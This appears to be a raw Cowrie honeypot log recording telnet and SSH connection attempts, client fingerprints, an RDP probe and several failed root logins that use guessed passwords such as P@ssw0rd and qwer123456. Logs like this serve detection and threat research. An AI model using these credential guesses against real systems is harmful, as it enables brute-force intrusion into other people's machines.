{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd65569407c","protocol":"telnet","message":"New connection: 192.119.13.58:46022 (10.17.0.5:23) [session: 9fd65569407c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:26.354509Z"}
{"eventid":"cowrie.session.closed","duration":35.999805212020874,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:26.399791Z","src_ip":"192.119.13.58","session":"6136afc3ac11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.80843639373779,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:26.483550Z","src_ip":"192.119.13.58","session":"a4ca8c4f624c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ca0e12c9c7","protocol":"telnet","message":"New connection: 192.119.13.58:47590 (10.17.0.5:23) [session: 31ca0e12c9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:26.717294Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48828,"dst_ip":"10.17.0.5","dst_port":23,"session":"3604d945b946","protocol":"telnet","message":"New connection: 192.119.13.58:48828 (10.17.0.5:23) [session: 3604d945b946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:27.115044Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:27.263064Z","src_ip":"193.233.48.169","session":"02fd3d2516c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48232,"dst_ip":"10.17.0.5","dst_port":23,"session":"d534b6cfbc10","protocol":"telnet","message":"New connection: 192.119.13.58:48232 (10.17.0.5:23) [session: d534b6cfbc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:34.920999Z"}
{"eventid":"cowrie.session.closed","duration":38.688173055648804,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:36.304511Z","src_ip":"192.119.13.58","session":"79ced1d6f1d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55352,"dst_ip":"10.17.0.5","dst_port":23,"session":"430b53b686f2","protocol":"telnet","message":"New connection: 192.119.13.58:55352 (10.17.0.5:23) [session: 430b53b686f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:37.106724Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34542,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd172e0deac","protocol":"telnet","message":"New connection: 192.119.13.58:34542 (10.17.0.5:23) [session: 6dd172e0deac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:39.390430Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44836,"dst_ip":"10.17.0.5","dst_port":23,"session":"99a6e6a37a79","protocol":"telnet","message":"New connection: 192.119.13.58:44836 (10.17.0.5:23) [session: 99a6e6a37a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:42.610185Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45704,"dst_ip":"10.17.0.5","dst_port":23,"session":"544c0ebba05f","protocol":"telnet","message":"New connection: 192.119.13.58:45704 (10.17.0.5:23) [session: 544c0ebba05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:42.855661Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56526,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc96601cd35e","protocol":"telnet","message":"New connection: 192.119.13.58:56526 (10.17.0.5:23) [session: fc96601cd35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:45.925997Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":45172,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a2714981cf3","protocol":"ssh","message":"New connection: 43.134.177.27:45172 (10.17.0.5:22) [session: 2a2714981cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:46.579494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:46.584077Z","src_ip":"43.134.177.27","session":"2a2714981cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:46.834217Z","src_ip":"43.134.177.27","session":"2a2714981cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strongpass","message":"login attempt [root/strongpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:47.851174Z","src_ip":"43.134.177.27","session":"2a2714981cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:49.099975Z","src_ip":"43.134.177.27","session":"2a2714981cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8404572010040283,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:49.766150Z","src_ip":"192.119.13.58","session":"fc96601cd35e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97501087188721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:50.491370Z","src_ip":"192.119.13.58","session":"f5895f1cd6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47500,"dst_ip":"10.17.0.5","dst_port":23,"session":"b10c66466777","protocol":"telnet","message":"New connection: 192.119.13.58:47500 (10.17.0.5:23) [session: b10c66466777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:51.499493Z"}
{"eventid":"cowrie.session.closed","duration":41.211017370224,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:57.237563Z","src_ip":"192.119.13.58","session":"562d7e1c355c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39364,"dst_ip":"10.17.0.5","dst_port":23,"session":"142f8784b10b","protocol":"telnet","message":"New connection: 192.119.13.58:39364 (10.17.0.5:23) [session: 142f8784b10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:04.583991Z"}
{"eventid":"cowrie.session.closed","duration":37.59231090545654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:04.707262Z","src_ip":"192.119.13.58","session":"3604d945b946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56492,"dst_ip":"159.203.135.109","dst_port":22,"session":"379212faab10","protocol":"ssh","message":"New connection: 152.42.212.128:56492 (159.203.135.109:22) [session: 379212faab10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.186326Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.191363Z","src_ip":"152.42.212.128","session":"379212faab10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.195037Z","src_ip":"152.42.212.128","session":"379212faab10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":37090,"dst_ip":"10.17.0.5","dst_port":22,"session":"461bbe9a2bec","protocol":"ssh","message":"New connection: 43.135.177.217:37090 (10.17.0.5:22) [session: 461bbe9a2bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.836857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.841796Z","src_ip":"43.135.177.217","session":"461bbe9a2bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:07.911359Z","src_ip":"43.135.177.217","session":"461bbe9a2bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pronto","message":"login attempt [root/pronto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:08.219706Z","src_ip":"43.135.177.217","session":"461bbe9a2bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.744895219802856,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:08.462070Z","src_ip":"192.119.13.58","session":"31ca0e12c9c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:09.292935Z","src_ip":"43.135.177.217","session":"461bbe9a2bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.06066584587097,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:10.415067Z","src_ip":"192.119.13.58","session":"9fd65569407c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35306,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e10371347b","protocol":"telnet","message":"New connection: 192.119.13.58:35306 (10.17.0.5:23) [session: 42e10371347b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:11.203230Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":31204,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4026ca5fda8","protocol":"ssh","message":"New connection: 186.122.177.140:31204 (10.17.0.5:22) [session: f4026ca5fda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:14.062765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:14.068909Z","src_ip":"186.122.177.140","session":"f4026ca5fda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:14.263882Z","src_ip":"186.122.177.140","session":"f4026ca5fda8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"991212","message":"login attempt [root/991212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:15.199924Z","src_ip":"186.122.177.140","session":"f4026ca5fda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:16.431443Z","src_ip":"186.122.177.140","session":"f4026ca5fda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":36722,"dst_ip":"159.203.135.109","dst_port":22,"session":"46cdfa802f8d","protocol":"ssh","message":"New connection: 37.143.61.84:36722 (159.203.135.109:22) [session: 46cdfa802f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:16.693353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:16.699550Z","src_ip":"37.143.61.84","session":"46cdfa802f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:16.804988Z","src_ip":"37.143.61.84","session":"46cdfa802f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:17.201124Z","src_ip":"37.143.61.84","session":"46cdfa802f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":43418,"dst_ip":"159.203.135.109","dst_port":22,"session":"d62d05dcc5bb","protocol":"ssh","message":"New connection: 92.207.4.157:43418 (159.203.135.109:22) [session: d62d05dcc5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:17.644634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:17.652393Z","src_ip":"92.207.4.157","session":"d62d05dcc5bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:17.760411Z","src_ip":"92.207.4.157","session":"d62d05dcc5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.0053334236145,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:18.111942Z","src_ip":"192.119.13.58","session":"430b53b686f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:18.222284Z","src_ip":"92.207.4.157","session":"d62d05dcc5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:18.312773Z","src_ip":"37.143.61.84","session":"46cdfa802f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:19.333226Z","src_ip":"92.207.4.157","session":"d62d05dcc5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.039329290390015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:19.894871Z","src_ip":"192.119.13.58","session":"544c0ebba05f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":39818,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a286376d367","protocol":"ssh","message":"New connection: 35.225.56.202:39818 (10.17.0.5:22) [session: 6a286376d367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:21.898634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:21.904805Z","src_ip":"35.225.56.202","session":"6a286376d367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:21.940291Z","src_ip":"35.225.56.202","session":"6a286376d367","protocol":"ssh"}
